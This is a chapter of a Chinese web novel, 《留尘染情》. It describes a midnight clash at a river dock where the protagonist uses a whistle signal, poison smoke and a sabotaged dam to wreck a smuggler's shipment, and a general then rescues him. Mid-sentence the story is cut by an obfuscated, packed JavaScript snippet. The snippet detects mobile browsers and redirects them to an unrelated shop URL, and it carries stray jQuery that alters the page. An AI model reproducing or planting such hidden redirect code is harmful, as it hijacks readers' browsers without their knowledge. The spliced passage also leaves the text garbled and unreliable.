108.鹰栖明月(六)
作品:《留尘染情》 子时,唯余玉带河湍急的水声,在黑夜里闯出一片天地。
老码头那片预留的水域,此刻泊着三艘吃水极深的,船身乌黑的平底货船,船头不见灯火,如同巨兽,海蛇帮的人影在船舷间无声移动,偶尔有兵刃反射惨淡月光,一瞬即没。
岸上,货堆与废弃棚屋的暗处,冬自岁麾下的黑鸮卫如石像般隐匿,气息收敛,只待令下。
空气有那么一时的宁静,但每一缕风都带着一股杀意。
照无还伏在码头东侧一座废弃水车阁楼的破窗后,这里视野尚可,能将大半码头及那三艘黑船收入眼底。他指尖死死扣着一支粗糙的竹哨,这是他最后的手段了,简陋,却能在特定时刻,发出尖锐得足以刺破喧嚣的特定音调。他身边没有那个赌徒,那人拿了最后一笔钱,已不知所踪。
时间点滴流逝,每一息都像在油锅里煎熬。他在等,等王扒皮那“鲁莽”的官差,等一个混乱的契机,也在等……一个连他自己都未曾宣之于口的渺芒变数。
就在子时三刻的梆子声将响未响之际。
码头入口处,陡然炸开一片混乱的脚步声与粗鲁的呼喝!
“巡检司办案!闲杂人等闪开!”
“前面的船!都给老子停下!过来接受检查!”
十几名穿着巡检司号衣的差役,提着明晃晃的灯笼和铁尺锁链,在王扒皮那明显发虚,却又不得不壮起胆子的呵斥声中,跌跌撞撞、声势浩大地冲进了码头区域。
红色灯笼的光胡乱晃动着,将人影拖得扭曲变形。
几乎在差役出现的同时,岸上黑暗处,数道锐利的破空声尖啸而起!这非射向差役,而是射向那三艘黑船附近的缆桩,货堆阴影,那是警告,也是清场。
“有埋伏!”
差役中有人惊恐大叫,队形瞬间散乱。
黑船之上,海蛇帮的汉子反应极快,骂骂咧咧地操起弓弩刀叉,一部分人迅速跳上岸,与从阴影中涌出的黑鸮卫汇合,组成一道人墙,将差役们远远隔开,不让他们靠近船只半步。
冲突一触即发,但双方都克制着没有立刻见血,只是推搡、对峙、叫骂。
王扒皮脸色惨白,满头大汗,举着腰牌的手都在抖,却还是按照照无还的“剧本”,尖着嗓子喊:“反了!反了!你们是什么人?竟敢阻拦官府办案!船上运的什么?可有通关文书?给本官搜!”
“搜?”一个阴冷的声音从黑鸮卫后方传来。
冬自岁披着一件艳紫披风,内里仍是那件妖异的紫袍,缓缓踱步而出。他脸上没什么表情,甚至有一丝倦怠,他目光缓缓刮过王扒皮肥胖的脸。
“王副巡检,深更半夜,好大的官威啊。本城主正当防卫,何来阻拦之说?倒是你,无凭无据,擅闯私港,惊扰贵客,该当何罪?”
他语气平淡,却压得王扒皮两股战战,差点瘫软下去。
“八爷……下官,下官也是接到线报……”
“线报?”冬自岁嗤笑一声,目光挨个扫过那些人,“线报说本城主私运违禁?证据呢?拿出来看看。”他向前一步,逼近王扒皮,压低声音,只有周围几人能听见,“王扒皮,收了谁的好处,来当这出头椽子?嗯?活腻了?”
王扒皮嘴唇哆嗦,一个字也吐不出来,照无还教他的话全忘到了九霄云外,只剩下本能的恐惧。
眼看王扒皮就要崩溃,计划即将夭折。
就在此时——
“嗤啦!”
一道极其轻微却异常清晰的撕裂声,从中间那艘黑船的船舱方向传来!紧接着,一股焦糊的浓烟,猛地从船舱缝隙中喷涌而出!那烟雾颜色是诡异的青紫色,在灯笼和月光下迅速扩散,味道刺鼻呛人,绝非寻常货物燃烧的气味!
“怎么回事?!”冬自岁脸色骤变,厉声喝道。
船上传来海蛇帮众的惊呼和怒骂。
“走水了?!不对!这烟……咳咳!是蚀骨烟!快闭气!掩住口鼻!”
场面瞬间大乱。
蚀骨烟,古刹国流传的一种阴毒玩意儿,燃烧后产生毒雾,能迅速腐蚀金属、侵蚀布料,对血肉之躯更是剧痛难当,虽不致命,却足以让人短时间内失去战斗力。
可是这东西怎么会出现在玉光城呢?
混乱中,没人注意到,一个纤细苍白的身影从船舱另一侧悄无声息地滑入水中,是镜画。
她手中紧握着一个被烧焦了边缘的特制香囊。
照无还通过一个曾是镜画的旧识,如今在码头做苦力的老人,传递了极其冒险的请求和一句承诺。
“制造混乱,我带你离开玉光城。”
镜画或许不信,但她抓住了这唯一可能逃离魔爪的机会,利用自己调香的知识和冬自岁近日让她研习“助眠香”的机会,偷偷改制出了这包“蚀骨烟”。
毒烟扩散,海蛇帮众和部分靠近船只的黑鸮卫猝不及防,吸入少许,顿时感到皮肤灼痛和眼鼻酸涩,咳嗽声与痛呼声四起,阵型不可避免出现了松动和混乱。
“就是现在!”
水车阁楼上,照无还眼中狠光爆闪,用尽全身力气,将竹哨塞入口中,鼓动胸腔残存的所有气息。
“咻——!!!”
一道尖锐凄厉,高亢得极不自然的哨音,骤然划破夜空,压过了码头的喧嚣,直冲云霄!那哨音并非毫无章法,而是三短一长,反复吹响,带着一种刻意为之宛如某种鸟类遇险示警般的节奏!
这哨音太突兀,太刻意,在混乱中显得格格不入,瞬间吸引了所有人的注意。
“什么声音?!”
“在上面!”
几乎在哨音响起的同一刹那。
“轰!!!”
一声远比毒烟爆发更为沉闷、却也更加撼动人心的巨响,从码头下游方向的河道拐弯处传来!恍若地底闷雷,又似巨物崩塌。
紧接着,是汹涌河水被猛然搅动,如同沸水般的哗啦巨响,以及木材断裂的刺耳噪音。
“怎么回事?!”冬自岁再也维持不住镇定,猛地扭头望向巨响来源,心头掠过一丝极其不祥的预感。
一名浑身湿透、连滚爬的黑鸮卫从下游方向狂奔而来,慌慌张张道:“城主!不好了!下游龙门礁那边的旧堤坝……突然塌了一大片!河水改道,形成漩涡乱流,好几艘夜间泊在那边的小货船……都被卷进去了!咱们……咱们安排在那边接应、准备转移货物的两条快船,也被……也被卷进去了!货物……货物怕是保不住了!”
旧堤坝塌了?河水改道?漩涡乱流?快船被卷?
冬自岁脑子里“嗡”的一声,瞬间空白。
龙门礁的堤坝年久失修不假,但怎会偏偏在此时塌陷?还正好卷走了他接应转移货物的快船?那批“货”,那批见不得光的火神珠原料和图纸,大部分都在那两条快船上!
巧合?天灾?
不!是人为!一定是人为!
他攥紧拳头,猛地抬头,眼睛死死盯向哨音传来的水车阁楼方向。
是那里!是那个吹哨的人!哨音是信号!是引发下游某种机关、或者通知同伙动手的信号!
“给老子抓住那个吹哨的!要活的!”冬自岁的声音嘶哑如同恶鬼,怒吼道,“其余人,稳住码头!货船不许有任何闪失!邢厉,带人去下游!救人!捞货!活要见人,死要见尸!”
命令下达,黑鸮卫立刻分兵。
一部分精锐如狼似虎般扑向水车阁楼。
码头上,毒烟未散,差
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121282|177674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
役与海蛇帮,黑鸮卫的冲突因这突如其来的巨变和冬自岁的命令而暂时僵持,混乱却更加升级。
阁楼上,照无还看着下方扑来的黑影,丢开竹哨,惨然一笑。
计划成功了,也失败了。
成功引起了更大的混乱,甚至可能毁掉了冬自岁部分货物。
但他自己也暴露了,退路已绝。
再说,他本就没指望能全身而退。
他最后看了一眼码头,看了一眼那艘冒着青烟的货船,看了一眼冬自岁扭曲的脸,然后转身,毫不犹豫地从阁楼背面的破洞纵身跃下!
下面不是河水,是坚硬的砾石滩和更黑暗又迷宫般的废弃棚户区。
落地瞬间,剧痛从脚踝传来,他闷哼一声,踉跄几步,强忍着没有摔倒,一头扎进黑暗。
身后,追兵的呼喝与脚步声迅速逼近。
就在他拐过一个堆满烂木料的死角,几乎要被身后追兵撵上时,斜刺里一道大燃色的身影闪出!
长枪一挑!一招制敌!
冲在最前面的两名黑鸮卫甚至没看清来人的动作,只觉手腕剧痛,兵刃脱手,紧接着脖颈遭到重击,哼都没哼一声就软倒在地。
陆栖枳如同凭空出现,挡在了照无还与追兵之间,她手中持着长枪,动作干净利落,毫无花哨的致命效率,她甚至没有多看倒地的追兵一眼,目光冷冷扫过后方略显迟疑的其余黑鸮卫。
“滚。”她吐出了一个字。
追兵们认出了她,认出了那身红装和长枪。
镇国大将军,陆栖枳。
是皇后身边最锋利的那把剑,英绝豪将。
他们敢对王扒皮龇牙,敢对不明势力下手,却绝不敢对这位代表着皇室威严与边军铁血的大将军轻易动武。
脚步瞬间停滞,面面相觑,无人敢上前。
趁此间隙,陆栖枳反手一抓,拎住几乎站立不稳的照无还的后领,如同拎起一只脱力的猫崽,脚下一点,身形已如鹞鹰般掠起,几个起落,便消失在阴影深处,将追兵的迟疑与呼喝远远甩在身后。
直到被扔在一处却相对干燥的破屋角落,照无还才从剧烈的逃亡和脚踝钻心的疼痛中勉强回神。
他靠着冰冷的土墙,剧烈喘息,看着背对他,侧耳倾听外面动静的陆栖枳。
月光从破屋顶的缝隙漏下几缕,勾勒出她挺直如松的脊背。她没有看他,也没有说话,仿佛刚才出手只是一件顺手为之、不值一提的小事。
“……为什么?”照无还嘶哑地问,声音因脱力和疼痛而断断续续的,“你不该……插手。”
陆栖枳缓缓转过身,月光照亮她沉静如鹰的眼眸。
她看着他狼狈不堪的样子,沉默了片刻。
“你的哨音,”她忽然开口,不知是嘲讽还是什么,“是想提醒下游的人,时机已到?”
照无还瞳孔一缩。
她知道?她连这个都猜到了?
“旧堤坝的机关,是你提前布置的?”
陆栖枳继续问,不是质问,更像是确认。
照无还抿紧苍白的唇,没有否认,算是默认。
他用最后的那点钱和承诺,买通了一个熟知水文,全家曾被冬自岁逼死的河工老匠,在龙门礁堤坝最脆弱处做了手脚,用粗绳、杠杆和少量火药,从暗桩女子给的迷香粉中分离提纯,极其危险且不稳定,设置了一个简陋的触发机关。
哨音是约定的信号,那河工会伺机引爆或破坏关键支撑。风险极大,成功率不足三成,且那河工很可能自己也……但他别无选择。
女子冷哼一声。
“愚蠢。”陆栖枳冷漠地吐出两个字,却没什么责备的意味,更像是一种陈述,补充道,“但有效。”

